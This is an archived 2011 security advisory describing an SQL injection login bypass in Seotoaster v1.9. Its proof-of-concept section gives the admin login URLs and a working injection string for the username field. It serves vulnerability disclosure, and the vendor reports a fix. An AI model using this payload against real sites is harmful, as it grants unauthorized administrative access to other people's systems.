[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Seotoaster SQL Injection Admin Login Bypass
# Published : 2011-12-16
# Author :
# Previous Title : Valid tiny-erp <= 1.6 SQL Injection Vulnerability
# Next Title : Pixie CMS 1.01 - 1.04 Blind SQL Injections


#################################################################################
# Advisory:		Seotoaster SQL-Injection Admin Login Bypass
# Author:       		Stefan Schurtz
# Contact:      		sschurtz@t-online.de
# Affected Software:    	Successfully tested on Seotoaster v.1.9
# Vendor URL:       	http://www.seotoaster.com/
# Vendor Status:    	fixed
#################################################################################

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go
or
http://<target>/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

========
Credits
========

Vulnerabilitiy found and advisory written by Stefan Schurtz

===========
References
===========

http://secunia.com/advisories/46881/